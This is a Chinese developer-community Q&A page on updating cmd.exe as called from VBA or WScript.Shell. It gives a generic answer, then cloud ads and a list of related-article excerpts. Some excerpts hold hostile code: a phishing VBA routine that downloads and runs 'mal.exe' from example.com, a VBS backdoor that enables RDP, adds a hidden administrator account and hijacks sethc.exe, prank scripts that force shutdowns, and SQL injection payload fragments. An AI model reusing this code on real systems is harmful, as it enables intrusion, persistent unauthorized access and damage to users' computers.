开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

如何更新从VBA Shell或WScript.Shell调用的cmd.exe？

从VBA Shell或WScript.Shell调用的cmd.exe可以通过以下几种方式进行更新：

使用Windows Update：通过运行Windows Update来获取最新的操作系统更新和补丁，这将确保cmd.exe以及其他系统组件得到更新和修复。
下载并安装最新的Windows版本：访问微软官方网站，下载并安装最新的Windows版本。新版本通常会包含对cmd.exe的改进和修复。
使用Windows PowerShell：Windows PowerShell是一种强大的命令行工具，可以替代cmd.exe，并提供更多功能和灵活性。可以通过更新Windows PowerShell来获得更好的命令行体验。
使用第三方命令行工具：除了Windows自带的cmd.exe和PowerShell，还有许多第三方命令行工具可供选择，例如Cygwin、Git Bash等。这些工具通常会定期发布更新版本，以修复bug并提供新功能。

无论选择哪种方式更新cmd.exe，都应该注意以下几点：

在更新之前，备份重要的脚本和数据，以防止意外情况发生。
在更新之后，测试现有的VBA Shell或WScript.Shell调用是否仍然有效，确保更新不会影响现有的功能。
遵循最佳实践和安全建议，确保系统和应用程序的安全性。

腾讯云相关产品和产品介绍链接地址：

腾讯云服务器（CVM）：提供可扩展的云服务器实例，适用于各种计算场景。详情请参考：https://cloud.tencent.com/product/cvm
腾讯云云函数（SCF）：无服务器计算服务，可帮助您构建和运行无需管理基础设施的应用程序。详情请参考：https://cloud.tencent.com/product/scf
腾讯云容器服务（TKE）：基于Kubernetes的容器管理服务，可帮助您轻松部署、管理和扩展容器化应用程序。详情请参考：https://cloud.tencent.com/product/tke
腾讯云数据库（TencentDB）：提供多种数据库解决方案，包括关系型数据库、NoSQL数据库和数据仓库等。详情请参考：https://cloud.tencent.com/product/cdb

相关搜索:从VBA插入或更新SQL中的记录 Vuex:如何更新组件数据或从Store调用组件方法如何从Python脚本中捕获Python解释器和/或CMD.EXE的输出？从expect脚本调用bash shell脚本失败：“没有这样的文件或目录”Excel vba - RegOpenKeyExA&函数从模块或类调用时返回不同的值如何从Excel/VBA调用长时间运行的外部程序？如何从react hooks或useEffect获取新的更新数据？如何在vba代码中添加或减去从access读取的值？我如何让我的别名从postfix服务器调用调用python程序的shell脚本？如何在VBA中从继承的类中调用基类的方法？如何从文件中为参数编写链码调用函数的shell脚本？如何根据特殊字符从bash或shell中的行中获取子串如何链接用于从C或C++调用Python的库 Coverage.py:如何为从shell脚本调用的多个python脚本追加结果我正在尝试从我的flutter移动应用程序调用firebase云函数。我可以从firebase函数中调用它们: shell或本地如何在PowerShell中执行curl命令，在不调用cmd.exe的情况下从JFrog Artifactory下载文件？如何使用VBA从源代码中不使用元素的标记或ID获取值如何通过终端或shell脚本调用python文件中的特定函数，并将参数传递给该函数？如何更新从另一个类调用的方法中的视图？如何从调用方法的InvocationExpressionSyntax节点获取方法声明的IMethodSymbol或语法节点？

相关搜索:

页面内容是否对你有帮助？

有帮助

没帮助

相关·内容

服务器安全设置之组件安全设置篇

WindowsServer2003 + IIS6.0 + ASP 服务器安全设置之–组件安全设置篇 A、卸载WScript.Shell 和 Shell.application 组件，将下面的代码保存为一个.BAT文件执行(分2000和2003系统)windows2000.bat

02

Webshell不能执行命令常见原因

为什么整理这篇文章？因为个人感觉在后渗透中是否能够执行命令是至关重要的一步，所以想着将以前在实战中搜集整理的不能执行命令的常见原因和一些解决方法分享给大家。

02

vbs代码之“电脑系统崩溃”「建议收藏」

具体操作：新建文本文档，将本段代码复制进入文本，保存；将后缀.txt改为 .vbs 即可。

01

超好玩的vbs代码（恶作剧代码）

今天给大家带来两个整人的VBS脚本希望大家喜欢 VBS脚本大家都知道吧第一个是定时关机的如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法我们来看下这个脚本

03

VBS 代码合集（慎用，好玩）

玩玩就好啦记得关注哦一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =————————————————————————— On Error Resume Next Dim wsh,ye set wsh=createobject(“wscript.shell”) for i=1 to 10 wscript.sleep 700 wsh.AppActivate(“与 xx 聊天中”) wsh.sendKeys “^v” wsh.sendKeys i wsh.sendKeys “%s” next wscript.quit

03

谷歌浏览器chrome调用cmd命令或exe命令

1、客户端添加注册表 // 新建txt，后缀改为reg（注册表文件），复制时把注释去掉 // 关键在最后一行：@=“你想要的cmd命令” // 可修改协议名称，该协议为 "openupload" ,修改时全局替换即可 // start --------------------------------------- Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\openupload] @="URL:openupload Protocol"

01

vbs整人小代码大全

事前准备：创建一个文件夹，后缀名为vbs，在里面编东西即可参考很多资料，如有不足请谅解

05

Windows设置开机启动挂载cfs，设置计划任务同步文件到cfs

把如下代码（具体化密码）另存为autologon.reg双击导入并重启机器即可实现自动登录（重启后打开vnc，发现已经自动登录到桌面）

03

VBA汇总多个Excel文件数据

将某个文件夹下，所有Excel文件及子文件夹下的Excel文件内容，复制到一张汇总表。

03

不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令

我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单，只需使用下面的SQL语句：

02

Vbs 禁用启用网卡

在实际工作中，经常碰到需要通过脚本启用禁用网卡的情况，在网上找了一个脚本，实际是通过模拟键盘操作来启用禁用，但对于多种系统和比较复杂的情况操作性不好。

02

VBA获取连接的wifi密码

经常碰到这种情况：自己家里设置了wifi密码，电脑手机连接后，过段时间很容易忘记，有时候朋友过来问起来就要回忆半天！

02

钓鱼常用的vba代码

点击上方蓝字关注我们下载并执行程序 Private Sub DownloadAndExecute() Dim droppingURL As String Dim localPath As String Dim WinHttpReq As Object, oStream As Object Dim result As Integer droppingURL = "https://example.com/mal.exe" localPath = "c

04

sqlps.exe白名单的利用（过S60！）

sqlps.exe是SQL Server附带的一个具有Microsoft签名的二进制文件，用于加载SQL Server cmdlet，Microsoft Visual C#开发，可用ILSpy反编译查看源代码。

01

组策略禁用命令提示符的绕过方式

前几天有个哥们私聊我说遇到个命令执行问题，Web环境为phpStudy搭建，在中国菜刀虚拟终端里不能执行命令，提示：命令提示符已被系统管理员停用。问有没有办法绕？答案肯定是有的，接下来我们就一起来看下如何绕过这个组策略命令执行限制。

03

使用vb脚本让电脑自动加入域源码

在企业用户中，一大部分用户都加入了域，用于公司的安全管理。加入域对于管理比较方便。但是新增的设备或者用户如何快速的加入已知的域呢？很简单，看代码：

03

java程序设置开机自启动

第二行代码是删除所有的java程序，本来是保证启动时没有冲突的，如果本地有其他java应用的话去掉第二行代码即可。

06

放弃 powershell? 启动 sqlps！| 红队攻防

sql server 注入后提权的方法比较多，但是被杀软拦截的也比较厉害，xp_cmdshell会被拦，sp_oacreate也会被拦。

03

vbs整人代码蓝屏_vbs整人代码「建议收藏」

大量的楼上已经说了。这个e68a84e8a2ad62616964757a686964616f31333433633336是本人原创，亲测有用。毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】

03

Windows文件下载执行的15种姿势

当我们通过Web渗透获取了一个Shell，而且目标主机是Windows，我们该怎么去下载后门文件到目标主机上执行呢？

01

明天就是愚人节，分享几个电脑整蛊小技巧。

愚人节也称万愚节、幽默节。时间为每年的4月1日，是从19世纪开始在西方兴起流行的民间节日，虽然并未被任何国家认定为法定节日，但是确实是一个特别有意思的节日。

01

一个贼简单的代码表白

前一阵网上挺火的各种表白代码，自己学着也做了一个记事本编写，后缀改为vbs 就能运行了。（文章最后边有个百度云盘链接，可以直接下载。或者去我上传的资源也能免费下载）

02

SQL 注入语句特征

语句特征 1.判断有无注入点 ; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0<>(select count(*) from *) and 0<>(select count(*) from admin) ---判断是否存在admin这张表 3.猜帐号数目如果遇到0< 返回正确页面， 1<返回错误页面，说明帐号数目就是1个 and 0<(select count(*) from admin) and 1<

vbs恶搞代码[通俗易懂]

vbs整人代码大全，包括强制自动关机、打开无数计算器、无限循环等vbs整人代码，感兴趣的朋友参考下。 1、输入指定语句

02

注入学习1:SQL注入语句大全

之前做了xss预防,以及些许的注入预防了,但是不够全面,如果还是搜集了下一些常用的注入手段,以此用来进行更好的预防.

02

实战-站库分离拿下WebShell

Mssql2005及以上版本默认关闭Xp_cmdshell，2000可以直接调用Xp_cmdshell执行命令。

02

案例分享：VB关机恶搞小程序

Set fs = CreateObject("Scripting.FileSystemObject")

00

Win下终端实现文件上传和下载执行

注意：本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。

01

病毒代码「建议收藏」

可以用来运行一下，你的电脑可能会发生……但大家都知道，病毒是恐怖的，你可以做一些有趣的代码.

05

Win下终端实现文件上传和下载执行

注意：本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

01

记一次绕过安全狗和360提权案例

最近遇到这样一个场景：目标仅支持ASP脚本，而且还存在网站安全狗和360安全卫士，目前存在的两个问题。

03

各种有趣vbs，bat脚本[通俗易懂]

发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/167212.html原文链接：https://javaforall.cn

02

收集整理的23种文件下载的方式

在我们的渗透过程中，通常会需要向目标主机传送一些文件，来达到提权，维持控制等目的。

03

vbs远程木马_vbs 访问webservice

大家好，又见面了，我是你们的朋友全栈君。 xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本+提权VBS 整理收集 2010年12月07日　　xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本　　vbson error resume next 　　const HKEY_LOCAL_MACHINE = &H80000002 　　strComputer = “.” 　　Set StdOut = WScript.StdOut 　　Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” &_ 　　strComputer & “\root\default:StdRegProv”) 　　strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server” 　　oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath 　　strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp” 　　oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath 　　strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” 　　strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server” 　　strValueName = “fDenyTSConnections” 　　dwValue = 0 　　oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue 　　strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp” 　　strValueName = “PortNumber” 　　dwValue = 3389 　　oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue 　　strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” 　　strValueName = “PortNumber” 　　dwValue = 3389 　　oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue 　　on error resume next 　　dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username=”HackEr”:password=”393214425″:end if:set wsnetwork=CreateObject(“WSCRIPT.NETWORK”):os=”WinNT://”&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&”/Administrators,group”):Set od=ob.Create(“user”,username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&”/”&username&”,user”):oe.Add(of.ADsPath)’wscript.echo of.ADsPath 　　On Error Resume Next 　　Dim obj, success 　　Set obj = CreateObject(“WScript.Shell”) 　　success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cm

01

记一次绕过安全狗和360提权案例

最近遇到这样一个场景：目标仅支持ASP脚本，而且还存在网站安全狗和360安全卫士，目前存在的两个问题。

02

USB钓鱼几种方式总结。

当目标点开美图（恶意LNK快捷方式文件：confidential.jpg.lnk），使目标认为他正在打开图像（confidential.jpg），HTA dropper 隐藏在快捷方式文件中。LNK将执行HTA，HTA将依次执行并删除的DLL payload，并且用诱饵图片替换快捷方式（confidential.jpg）。过程如下：

01

Linux+Windows命令行终端下载指令大全

0x01 Linux 2.1 Wget 这款工具功能很丰富，可以充当某种功能完备的GUI下载管理器，它拥有一款理想的下载管理器所需要的所有功能，比如它可以恢复下载，可以下载多个文件，出现某个连接问题后，可以重新尝试下载，你甚至可以管理最大的下载带宽。直接下载： wget http://www.sample-videos.com/video/mp4/big.mp4 后台下载: wget -b http://www.sample-videos.com/video/mp4/big.mp4 如果互联网连接出现

02

vbs刷屏代码。复制粘贴即可用

使用步骤：创建txt文本文件。将上面代码粘贴进去。保存完毕后，将txt后缀名改为vbs即可.

01

注入常用SQL语句整理

很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句.

01

社工钓鱼之LNK钓鱼

LNK文件是一种用于指向其他文件的特殊文件，这些文件通常也被称为快捷方式文件，通常它以快捷方式放在硬盘上，以方便使用者快速的调用， LNK钓鱼主要将图标伪装成正常图标，但是目标会执行Shell命令

02

[教程]创建一个整人的vbs程序

首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你

04

GadgetToJScript在VBA中的利用

https://www.shutingrz.com/post/explore-dotnet-serialize-g2js/

02

VBA CreateObject函数如何找到所需要的依赖文件

使用VBA的CreateObject函数，这种情况下要知道COM对象的名称。

03

SQL注入语句和方法总结

前提需要工具(SQL Query Analyzer和SqlExec Sunx Version)

01

MSSQL不出网文件落地上线方式

一个MSSQL非注入的场景：在内网扫描到一个MSSQL弱口令，支持xp_cmdshell，Administrator权限，但不能出网，DNS也出不了，那么我们该如何将文件落地到目标主机并执行上线呢？

01

regsvr32绕过(二)

发现主要是Cmdline这里报的错，当然分类这里是因为MSF的脚本内容触发了AMSI的内容：

02

扫码

添加站长进交流群

领取专属 10元无门槛券

手把手带您无忧上云

扫码加入开发者社群

相关资讯

热门标签

活动推荐

运营活动

活动名称

广告关闭